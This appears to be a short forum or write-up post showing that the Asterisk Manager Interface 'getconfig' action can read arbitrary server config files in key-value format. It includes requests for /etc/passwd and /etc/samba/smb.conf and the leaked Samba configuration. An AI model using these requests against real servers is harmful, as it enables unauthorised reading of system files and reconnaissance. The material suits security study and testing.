I took this a little further, it appears as long as the target file is the same section/kv format as asterisk, that asterisk can read pretty much any config file on the server!
action:getconfig
filename:/etc/passwd
Response: Error
Message: Config file has invalid format
action:getconfig
filename:/etc/samba/smb.conf
Response: Success
Category-000000: global
Line-000000-000000: workgroup=DIGISOLUTIONS
Line-000000-000001: server string=%h server (Samba, Ubuntu)
Line-000000-000002: log file=/var/log/samba/log.%m
Line-000000-000003: max log size=1000
Line-000000-000004: logging=file
Line-000000-000005: panic action=/usr/share/samba/panic-action %d
Line-000000-000006: server role=standalone server
Line-000000-000007: obey pam restrictions=yes
Line-000000-000008: unix password sync=yes
Line-000000-000009: passwd program=/usr/bin/passwd %u
Line-000000-000010: passwd chat=*Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
Line-000000-000011: pam password change=yes
Line-000000-000012: map to guest=bad user
Line-000000-000013: usershare allow guests=yes
Category-000001: homes
Line-000001-000000: comment=Home Directories
Line-000001-000001: browseable=yes
Line-000001-000002: read only=no
Line-000001-000003: create mask=0600
Line-000001-000004: directory mask=0700
Line-000001-000005: valid users=%S
